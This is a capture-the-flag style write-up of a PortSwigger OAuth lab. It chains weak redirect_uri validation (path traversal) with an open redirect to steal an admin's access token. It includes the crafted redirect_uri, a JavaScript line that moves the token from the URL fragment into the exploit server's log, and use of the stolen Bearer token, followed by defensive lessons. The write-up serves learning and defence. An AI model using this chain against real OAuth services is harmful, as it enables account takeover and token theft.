> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-oauth-labs/lab-4.md).

# lab-4

## Stealing OAuth Access Tokens via an Open Redirect

**Difficulty:** Practitioner

### Lab Description

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

**Objective:** Identify an open redirect on the blog website and use it to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit it.

> **Note:** You cannot access the admin's API key by simply logging in to their account on the client application.

**Credentials:** `wiener:peter`

### Root Cause

The OAuth authorization server performed insufficient validation of the `redirect_uri` parameter. Although it restricted the redirect URI to the client application's domain, its validation could be bypassed using directory traversal (`../`), allowing the redirect to reach any other page on the trusted domain.

The client application also contained an open redirect at `/post/next?path=`. By chaining these two weaknesses, the attacker caused the OAuth server to deliver the access token to an attacker-controlled page.

Root causes:

* Weak `redirect_uri` validation — bypassable via path traversal.
* Open redirect on the client application (`/post/next?path=`).
* Implicit Flow (`response_type=token`) exposes the access token in the browser URL fragment (`#access_token=...`).

### Exploitation

**1. Analyse the OAuth flow**

Intercept the authorization request:

```
GET /auth?client_id=...&redirect_uri=...&response_type=token
```

Confirm the application uses the **Implicit Flow** (`response_type=token`).

**2. Bypass redirect\_uri validation**

Replace `/oauth-callback` with `/oauth-callback/../post/next` using directory traversal. The OAuth server accepts it because its validation is weak:

```
redirect_uri=https://client-app.net/oauth-callback/../post/next
```

**3. Find the open redirect**

Identify the vulnerable endpoint:

```
GET /post/next?path=
```

Verify it redirects to arbitrary URLs:

```
/post/next?path=https://exploit-server/exploit
```

**4. Chain both vulnerabilities**

```
OAuth Server
    │
redirect_uri (path traversal bypass)
    ▼
Client App /post/next
    │
Open Redirect
    ▼
Exploit Server
```

Build the full malicious URL and deliver it to the victim via the exploit server.

**5. Capture the access token**

After the admin authenticates, the browser lands on:

```
https://exploit-server/exploit#access_token=ADMIN_TOKEN
```

The exploit page converts the fragment into a query parameter so the server can log it:

```javascript
window.location = '/?' + document.location.hash.substr(1)
```

This changes `#access_token=...` into `?access_token=...`, making it visible in the server access log.

**6. Use the stolen token**

Make a request to the API endpoint with the stolen token as a Bearer token:

```
GET /me
Authorization: Bearer ADMIN_TOKEN
```

The OAuth resource server returns the admin's profile, including their API key. Submit it to complete the lab.

### Lesson Learned

**OAuth Provider:**

* Perform strict, exact matching of registered `redirect_uri` values.
* Normalise the URI before validation to prevent directory traversal bypasses.
* Never allow arbitrary paths or traversal sequences.

**Client Application:**

* Eliminate open redirect vulnerabilities.
* Never expose sensitive OAuth responses through redirect chains.

**OAuth Best Practices:**

* Avoid the Implicit Flow for new applications — prefer Authorization Code Flow with PKCE.
* Access tokens should never appear in browser URLs where client-side scripts can read them.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-oauth-labs/lab-4.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.